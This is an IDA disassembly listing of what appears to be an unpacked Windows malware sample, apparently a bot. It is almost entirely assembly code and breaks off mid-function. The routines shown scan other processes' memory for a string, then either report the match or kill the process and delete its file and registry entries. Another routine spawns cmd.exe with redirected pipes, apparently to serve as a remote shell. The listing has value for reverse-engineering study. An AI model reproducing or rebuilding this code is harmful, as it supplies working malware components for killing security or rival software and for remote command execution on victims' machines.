;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	6CA4ACB0A5F54A9FE9A7B093A7329754

; File Name   :	u:\work\6ca4acb0a5f54a9fe9a7b093a7329754_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 00001000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
MEW		segment	para public 'BSS' use32
		assume cs:MEW
		;org 401000h
		assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------


loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------


loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------


loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------


loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax


loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------


loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------


loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------


loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------


loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax


loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	dword_417094	; OpenProcess
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0


loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------


loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax


loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0


loc_401495:				; DATA XREF: MEW:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------


loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax


loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB


loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax


loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------


loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------


loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------


loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	dword_41709C	; Sleep
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------


loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	dword_4170A0	; TerminateProcess
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx


loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------


loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------


loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	dword_41709C	; Sleep
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------


loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------


loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------


loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------


loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7


loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------


loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------


loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"


loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DDF4, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DDF4
		call	dword_4170A4	; CloseHandle


loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DDE8, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DDE8
		call	dword_4170A4	; CloseHandle


loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DDEC, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DDEC
		call	dword_4170A4	; CloseHandle


loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DDF0, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DDF0
		call	dword_4170A4	; CloseHandle


loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922


loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, dword_41DDFC
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, dword_41DDFC
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	dword_41DDFC, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957


loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	dword_41DDFC, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DDF0
		call	dword_417074	; GetCurrentProcess
		push	eax
		push	[ebp+var_36C]
		call	dword_417074	; GetCurrentProcess
		push	eax
		call	dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DE00
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	dword_4170A4	; CloseHandle
